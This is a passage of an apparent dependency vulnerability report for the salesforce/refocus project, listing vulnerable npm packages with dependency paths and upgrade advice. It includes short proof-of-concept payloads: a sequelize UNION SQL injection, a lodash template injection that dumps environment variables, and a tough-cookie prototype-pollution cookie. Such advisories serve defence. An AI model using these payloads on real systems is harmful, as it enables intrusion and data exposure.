  4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

  5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade node-forge to version 0.10.0 or higher.

References

high severity

SQL Injection

  • Vulnerable module: sequelize
  • Introduced through: sequelize@5.8.12

Detailed paths

  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af sequelize@5.8.12
    Remediation: Upgrade to sequelize@5.15.1.

Overview

sequelize is a promise-based Node.js ORM for Postgres, MySQL, MariaDB, SQLite and Microsoft SQL Server.

Affected versions of this package are vulnerable to SQL Injection due to sequelize.json() helper function not escaping values properly when formatting sub paths for JSON queries for MySQL, MariaDB and SQLite.

PoC by Snyk

const Sequelize = require('./');
const sequelize = new Sequelize('mysql', 'root', 'root', {
  host: 'localhost',
  port: '3306',
  dialect: 'mariadb',
  logging: console.log,
});

class Project extends Sequelize.Model {}

Project.init({
  name: Sequelize.STRING,
  target: Sequelize.JSON,
}, {
  sequelize,
  tableName: 'projects',
});

(async () => {
  await sequelize.sync();

  console.log(await Project.findAll({
    where: {name: sequelize.json("target.id')) = 10 UNION SELECT VERSION(); -- ", 10)},
    attributes: ['name'],
    raw: true,
  }));
})();

Remediation

Upgrade sequelize to version 4.44.3, 5.15.1 or higher.

References

high severity

Code Injection

  • Vulnerable module: lodash
  • Introduced through: express-ipfilter@0.0.24, jscs@3.0.7 and others

Detailed paths

  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af express-ipfilter@0.0.24 lodash@3.10.1
    Remediation: Upgrade to express-ipfilter@1.0.1.
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af jscs@3.0.7 lodash@3.10.1
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af jscs@3.0.7 xmlbuilder@3.1.0 lodash@3.10.1
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af jscs@3.0.7 jscs-jsdoc@2.0.0 jsdoctypeparser@1.2.0 lodash@3.10.1
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af gulp@3.9.1 vinyl-fs@0.3.14 glob-watcher@0.0.6 gaze@0.5.2 globule@0.1.0 lodash@1.0.2
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af nock@3.6.0 lodash@2.4.1
    Remediation: Upgrade to nock@8.0.0.
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af passport-saml@0.15.0 xmlbuilder@2.5.2 lodash@3.2.0

Overview

lodash is a modern JavaScript utility library delivering modularity, performance, & extras.

Affected versions of this package are vulnerable to Code Injection via template.

PoC

var _ = require('lodash');

_.template('', { variable: '){console.log(process.env)}; with(obj' })()

Remediation

Upgrade lodash to version 4.17.21 or higher.

References

high severity

Code Injection

  • Vulnerable module: lodash.template
  • Introduced through: gulp@3.9.1

Detailed paths

  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af gulp@3.9.1 gulp-util@3.0.8 lodash.template@3.6.2

Overview

lodash.template is a The Lodash method _.template exported as a Node.js module.

Affected versions of this package are vulnerable to Code Injection via template.

PoC

var _ = require('lodash');

_.template('', { variable: '){console.log(process.env)}; with(obj' })()

Remediation

There is no fixed version for lodash.template.

References

high severity

Improper Privilege Management

  • Vulnerable module: shelljs
  • Introduced through: shelljs@0.7.8

Detailed paths

  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af shelljs@0.7.8
    Remediation: Upgrade to shelljs@0.8.5.

Overview

shelljs is a wrapper for the Unix shell commands for Node.js.

Affected versions of this package are vulnerable to Improper Privilege Management. When ShellJS is used to create shell scripts which may be running as root, users with low-level privileges on the system can leak sensitive information such as passwords (depending on implementation) from the standard output of the privileged process OR shutdown privileged ShellJS processes via the exec function when triggering EACCESS errors.

Note: Thi only impacts the synchronous version of shell.exec().

Remediation

Upgrade shelljs to version 0.8.5 or higher.

References

high severity

SQL Injection

  • Vulnerable module: sequelize
  • Introduced through: sequelize@5.8.12

Detailed paths

  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af sequelize@5.8.12
    Remediation: Upgrade to sequelize@6.21.2.

Overview

sequelize is a promise-based Node.js ORM for Postgres, MySQL, MariaDB, SQLite and Microsoft SQL Server.

Affected versions of this package are vulnerable to SQL Injection due to an improper escaping for multiple appearances of $ in a string.

Remediation

Upgrade sequelize to version 6.21.2 or higher.

References

medium severity

Use of a Broken or Risky Cryptographic Algorithm

  • Vulnerable module: jsonwebtoken
  • Introduced through: jsonwebtoken@5.7.0

Detailed paths

  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af jsonwebtoken@5.7.0
    Remediation: Upgrade to jsonwebtoken@9.0.0.

Overview

jsonwebtoken is a JSON Web Token implementation (symmetric and asymmetric)

Affected versions of this package are vulnerable to Use of a Broken or Risky Cryptographic Algorithm such that the library can be misconfigured to use legacy, insecure key types for signature verification. For example, DSA keys could be used with the RS256 algorithm.

Exploitability

Users are affected when using an algorithm and a key type other than the combinations mentioned below:

EC: ES256, ES384, ES512

RSA: RS256, RS384, RS512, PS256, PS384, PS512

RSA-PSS: PS256, PS384, PS512

And for Elliptic Curve algorithms:

ES256: prime256v1

ES384: secp384r1

ES512: secp521r1

Workaround

Users who are unable to upgrade to the fixed version can use the allowInvalidAsymmetricKeyTypes option to true in the sign() and verify() functions to continue usage of invalid key type/algorithm combination in 9.0.0 for legacy compatibility.

Remediation

Upgrade jsonwebtoken to version 9.0.0 or higher.

References

medium severity

Server-Side Request Forgery (SSRF)

  • Vulnerable module: ip
  • Introduced through: ip@1.1.9, express-ipfilter@0.0.24 and others

Detailed paths

  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af ip@1.1.9
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af express-ipfilter@0.0.24 ip@1.1.9
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af @salesforce/refocus-collector@1.3.0 superagent-proxy@1.0.3 proxy-agent@2.3.1 pac-proxy-agent@2.0.2 pac-resolver@3.0.0 ip@1.1.9
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af @salesforce/refocus-collector@1.3.0 superagent-proxy@1.0.3 proxy-agent@2.3.1 socks-proxy-agent@3.0.1 socks@1.1.10 ip@1.1.9
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af @salesforce/refocus-collector@1.3.0 superagent-proxy@1.0.3 proxy-agent@2.3.1 pac-proxy-agent@2.0.2 socks-proxy-agent@3.0.1 socks@1.1.10 ip@1.1.9
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 npm-registry-fetch@4.0.7 make-fetch-happen@5.0.2 socks-proxy-agent@4.0.2 socks@2.3.3 ip@1.1.5
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 pacote@9.5.12 make-fetch-happen@5.0.2 socks-proxy-agent@4.0.2 socks@2.3.3 ip@1.1.5
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 pacote@9.5.12 npm-registry-fetch@4.0.7 make-fetch-happen@5.0.2 socks-proxy-agent@4.0.2 socks@2.3.3 ip@1.1.5
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 libnpmaccess@3.0.2 npm-registry-fetch@4.0.7 make-fetch-happen@5.0.2 socks-proxy-agent@4.0.2 socks@2.3.3 ip@1.1.5
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 libnpmhook@5.0.3 npm-registry-fetch@4.0.7 make-fetch-happen@5.0.2 socks-proxy-agent@4.0.2 socks@2.3.3 ip@1.1.5
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 libnpmorg@1.0.1 npm-registry-fetch@4.0.7 make-fetch-happen@5.0.2 socks-proxy-agent@4.0.2 socks@2.3.3 ip@1.1.5
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 libnpmsearch@2.0.2 npm-registry-fetch@4.0.7 make-fetch-happen@5.0.2 socks-proxy-agent@4.0.2 socks@2.3.3 ip@1.1.5
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 libnpmteam@1.0.2 npm-registry-fetch@4.0.7 make-fetch-happen@5.0.2 socks-proxy-agent@4.0.2 socks@2.3.3 ip@1.1.5
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 npm-profile@4.0.4 npm-registry-fetch@4.0.7 make-fetch-happen@5.0.2 socks-proxy-agent@4.0.2 socks@2.3.3 ip@1.1.5
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 libnpm@3.0.1 npm-registry-fetch@4.0.7 make-fetch-happen@5.0.2 socks-proxy-agent@4.0.2 socks@2.3.3 ip@1.1.5
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 libcipm@4.0.8 pacote@9.5.12 make-fetch-happen@5.0.2 socks-proxy-agent@4.0.2 socks@2.3.3 ip@1.1.5
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 libnpm@3.0.1 pacote@9.5.12 make-fetch-happen@5.0.2 socks-proxy-agent@4.0.2 socks@2.3.3 ip@1.1.5
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 libcipm@4.0.8 pacote@9.5.12 npm-registry-fetch@4.0.7 make-fetch-happen@5.0.2 socks-proxy-agent@4.0.2 socks@2.3.3 ip@1.1.5
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 libnpm@3.0.1 pacote@9.5.12 npm-registry-fetch@4.0.7 make-fetch-happen@5.0.2 socks-proxy-agent@4.0.2 socks@2.3.3 ip@1.1.5
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 libnpm@3.0.1 libnpmaccess@3.0.2 npm-registry-fetch@4.0.7 make-fetch-happen@5.0.2 socks-proxy-agent@4.0.2 socks@2.3.3 ip@1.1.5
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 libnpm@3.0.1 libnpmhook@5.0.3 npm-registry-fetch@4.0.7 make-fetch-happen@5.0.2 socks-proxy-agent@4.0.2 socks@2.3.3 ip@1.1.5
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 libnpm@3.0.1 libnpmorg@1.0.1 npm-registry-fetch@4.0.7 make-fetch-happen@5.0.2 socks-proxy-agent@4.0.2 socks@2.3.3 ip@1.1.5
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 libnpm@3.0.1 libnpmpublish@1.1.3 npm-registry-fetch@4.0.7 make-fetch-happen@5.0.2 socks-proxy-agent@4.0.2 socks@2.3.3 ip@1.1.5
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 libnpm@3.0.1 libnpmsearch@2.0.2 npm-registry-fetch@4.0.7 make-fetch-happen@5.0.2 socks-proxy-agent@4.0.2 socks@2.3.3 ip@1.1.5
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 libnpm@3.0.1 libnpmteam@1.0.2 npm-registry-fetch@4.0.7 make-fetch-happen@5.0.2 socks-proxy-agent@4.0.2 socks@2.3.3 ip@1.1.5
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 libnpm@3.0.1 npm-profile@4.0.4 npm-registry-fetch@4.0.7 make-fetch-happen@5.0.2 socks-proxy-agent@4.0.2 socks@2.3.3 ip@1.1.5

Overview

ip is a Node library.

Affected versions of this package are vulnerable to Server-Side Request Forgery (SSRF) via the isPublic function, which identifies some private IP addresses as public addresses due to improper parsing of the input. An attacker can manipulate a system that uses isLoopback(), isPrivate() and isPublic functions to guard outgoing network requests to treat certain IP addresses as globally routable by supplying specially crafted IP addresses.

Note

This vulnerability derived from an incomplete fix for CVE-2023-42282

Remediation

There is no fixed version for ip.

References

medium severity

Improper Restriction of Security Token Assignment

  • Vulnerable module: jsonwebtoken
  • Introduced through: jsonwebtoken@5.7.0

Detailed paths

  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af jsonwebtoken@5.7.0
    Remediation: Upgrade to jsonwebtoken@9.0.0.

Overview

jsonwebtoken is a JSON Web Token implementation (symmetric and asymmetric)

Affected versions of this package are vulnerable to Improper Restriction of Security Token Assignment via the secretOrPublicKey argument due to misconfigurations of the key retrieval function jwt.verify(). Exploiting this vulnerability might result in incorrect verification of forged tokens when tokens signed with an asymmetric public key could be verified with a symmetric HS256 algorithm.

Note: This vulnerability affects your application if it supports the usage of both symmetric and asymmetric keys in jwt.verify() implementation with the same key retrieval function.

Remediation

Upgrade jsonwebtoken to version 9.0.0 or higher.

References

medium severity

Information Exposure

  • Vulnerable module: node-fetch
  • Introduced through: prop-types@15.5.10, react@15.7.0 and others

Detailed paths

  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af prop-types@15.5.10 fbjs@0.8.18 isomorphic-fetch@2.2.1 node-fetch@1.7.3
    Remediation: Upgrade to prop-types@15.6.2.
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af react@15.7.0 fbjs@0.8.18 isomorphic-fetch@2.2.1 node-fetch@1.7.3
    Remediation: Upgrade to react@16.5.0.
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af react-dom@15.7.0 fbjs@0.8.18 isomorphic-fetch@2.2.1 node-fetch@1.7.3
    Remediation: Upgrade to react-dom@16.5.0.
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af react-test-renderer@15.7.0 fbjs@0.8.18 isomorphic-fetch@2.2.1 node-fetch@1.7.3
    Remediation: Upgrade to react-test-renderer@16.5.0.

Overview

node-fetch is a light-weight module that brings window.fetch to node.js

Affected versions of this package are vulnerable to Information Exposure when fetching a remote url with Cookie, if it get a Location response header, it will follow that url and try to fetch that url with provided cookie. This can lead to forwarding secure headers to 3th party.

Remediation

Upgrade node-fetch to version 2.6.7, 3.1.1 or higher.

References

medium severity

Server-side Request Forgery (SSRF)

  • Vulnerable module: request
  • Introduced through: jsdom@9.12.0, npm@6.14.18 and others

Detailed paths

  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af jsdom@9.12.0 request@2.88.2
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 request@2.88.2
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af @salesforce/refocus-collector@1.3.0 nforce@1.13.0 request@2.88.2
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af @salesforce/refocus-collector@1.3.0 simple-oauth2@1.6.0 request@2.88.2
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 node-gyp@5.1.1 request@2.88.2
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 npm-lifecycle@3.1.5 node-gyp@5.1.1 request@2.88.2
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 libcipm@4.0.8 npm-lifecycle@3.1.5 node-gyp@5.1.1 request@2.88.2
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 libnpm@3.0.1 npm-lifecycle@3.1.5 node-gyp@5.1.1 request@2.88.2

Overview

request is a simplified http request client.

Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) due to insufficient checks in the lib/redirect.js file by allowing insecure redirects in the default configuration, via an attacker-controller server that does a cross-protocol redirect (HTTP to HTTPS, or HTTPS to HTTP).

NOTE: request package has been deprecated, so a fix is not expected. See https://github.com/request/request/issues/3142.

Remediation

A fix was pushed into the master branch but not yet published.

References

medium severity

Uncontrolled Resource Consumption ('Resource Exhaustion')

  • Vulnerable module: tar
  • Introduced through: npm@6.14.18

Detailed paths

  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 tar@4.4.19
    Remediation: Upgrade to npm@7.0.0.
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 node-gyp@5.1.1 tar@4.4.19
    Remediation: Upgrade to npm@7.0.0.
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 pacote@9.5.12 tar@4.4.19
    Remediation: Upgrade to npm@7.0.0.
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 npm-lifecycle@3.1.5 node-gyp@5.1.1 tar@4.4.19
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 libcipm@4.0.8 pacote@9.5.12 tar@4.4.19
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 libnpm@3.0.1 pacote@9.5.12 tar@4.4.19
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 libcipm@4.0.8 npm-lifecycle@3.1.5 node-gyp@5.1.1 tar@4.4.19
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 libnpm@3.0.1 npm-lifecycle@3.1.5 node-gyp@5.1.1 tar@4.4.19

Overview

tar is a full-featured Tar for Node.js.

Affected versions of this package are vulnerable to Uncontrolled Resource Consumption ('Resource Exhaustion') due to the lack of folders count validation during the folder creation process. An attacker who generates a large number of sub-folders can consume memory on the system running the software and even crash the client within few seconds of running it using a path with too many sub-folders inside.

Remediation

Upgrade tar to version 6.2.1 or higher.

References

medium severity

Prototype Pollution

  • Vulnerable module: tough-cookie
  • Introduced through: jsdom@9.12.0, npm@6.14.18 and others

Detailed paths

  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af jsdom@9.12.0 tough-cookie@2.5.0
    Remediation: Upgrade to jsdom@16.5.0.
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af jsdom@9.12.0 request@2.88.2 tough-cookie@2.5.0
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 request@2.88.2 tough-cookie@2.5.0
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af @salesforce/refocus-collector@1.3.0 nforce@1.13.0 request@2.88.2 tough-cookie@2.5.0
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af @salesforce/refocus-collector@1.3.0 simple-oauth2@1.6.0 request@2.88.2 tough-cookie@2.5.0
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 node-gyp@5.1.1 request@2.88.2 tough-cookie@2.5.0
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 npm-lifecycle@3.1.5 node-gyp@5.1.1 request@2.88.2 tough-cookie@2.5.0
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 libcipm@4.0.8 npm-lifecycle@3.1.5 node-gyp@5.1.1 request@2.88.2 tough-cookie@2.5.0
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm@6.14.18 libnpm@3.0.1 npm-lifecycle@3.1.5 node-gyp@5.1.1 request@2.88.2 tough-cookie@2.5.0

Overview

tough-cookie is a RFC6265 Cookies and CookieJar module for Node.js.

Affected versions of this package are vulnerable to Prototype Pollution due to improper handling of Cookies when using CookieJar in rejectPublicSuffixes=false mode. Due to an issue with the manner in which the objects are initialized, an attacker can expose or modify a limited amount of property information on those objects. There is no impact to availability.

PoC

// PoC.js
async function main(){
var tough = require("tough-cookie");
var cookiejar = new tough.CookieJar(undefined,{rejectPublicSuffixes:false});
// Exploit cookie
await cookiejar.setCookie(
  "Slonser=polluted; Domain=__proto__; Path=/notauth",
  "https://__proto__/admin"
);
// normal cookie
var cookie = await cookiejar.setCookie(
  "Auth=Lol; Domain=google.com; Path=/notauth",
  "https://google.com/"
);

//Exploit cookie
var a = {};
console.log(a["/notauth"]["Slonser"])
}
main();

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

  • Unsafe Object recursive merge

  • Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type Origin Short description
Denial of service (DoS) Client This is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution Client Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection Client The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

  • Application server

  • Web server

  • Web browser

How to prevent

  1. Freeze the prototype— use Object.freeze (Object.prototype).

  2. Require schema validation of JSON input.

  3. Avoid using unsafe recursive merge functions.

  4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

  5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade tough-cookie to version 4.1.3 or higher.

References

medium severity

Improper Input Validation

  • Vulnerable module: xmldom
  • Introduced through: passport-saml@0.15.0

Detailed paths

  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af passport-saml@0.15.0 xml-crypto@0.8.5 xmldom@0.1.19
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af passport-saml@0.15.0 xmldom@0.1.31
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af passport-saml@0.15.0 xml-encryption@0.7.4 xmldom@0.1.31

Overview

xmldom is an A pure JavaScript W3C standard-based (XML DOM Level 2 Core) DOMParser and XMLSerializer module.

Affected versions of this package are vulnerable to Improper Input Validation. It does not correctly escape special characters when serializing elements are removed from their ancestor. This may lead to unexpected syntactic changes during XML processing in some downstream applications.

Note: Customers who use "xmldom" package, should use "@xmldom/xmldom" instead, as "xmldom" is no longer maintained.

Remediation

There is no fixed version for xmldom.

References

medium severity

Prototype Pollution

  • Vulnerable module: json5
  • Introduced through: babel-core@6.26.3, babelify@7.3.0 and others

Detailed paths

  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af babel-core@6.26.3 json5@0.5.1
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af babelify@7.3.0 babel-core@6.26.3 json5@0.5.1
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af babel-loader@6.1.0 loader-utils@0.2.17 json5@0.5.1
    Remediation: Upgrade to babel-loader@7.0.0.
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af extract-text-webpack-plugin@0.8.2 loader-utils@0.2.17 json5@0.5.1
    Remediation: Upgrade to extract-text-webpack-plugin@2.0.0.
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af html-webpack-plugin@2.30.1 loader-utils@0.2.17 json5@0.5.1
    Remediation: Upgrade to html-webpack-plugin@4.0.0.
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af webpack@1.15.0 loader-utils@0.2.17 json5@0.5.1
    Remediation: Upgrade to webpack@3.0.0.
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af babel-core@6.26.3 babel-register@6.26.0 babel-core@6.26.3 json5@0.5.1
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af babelify@7.3.0 babel-core@6.26.3 babel-register@6.26.0 babel-core@6.26.3 json5@0.5.1

Overview

Affected versions of this package are vulnerable to Prototype Pollution via the parse method , which does not restrict parsing of keys named __proto__, allowing specially crafted strings to pollute the prototype of the resulting object. This pollutes the prototype of the object returned by JSON5.parse and not the global Object prototype (which is the commonly understood definition of Prototype Pollution). Therefore, the actual impact will depend on how applications utilize the returned object and how they filter unwanted keys.

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

  • Unsafe Object recursive merge

  • Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type Origin Short description
Denial of service (DoS) Client This is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution Client Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection Client The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
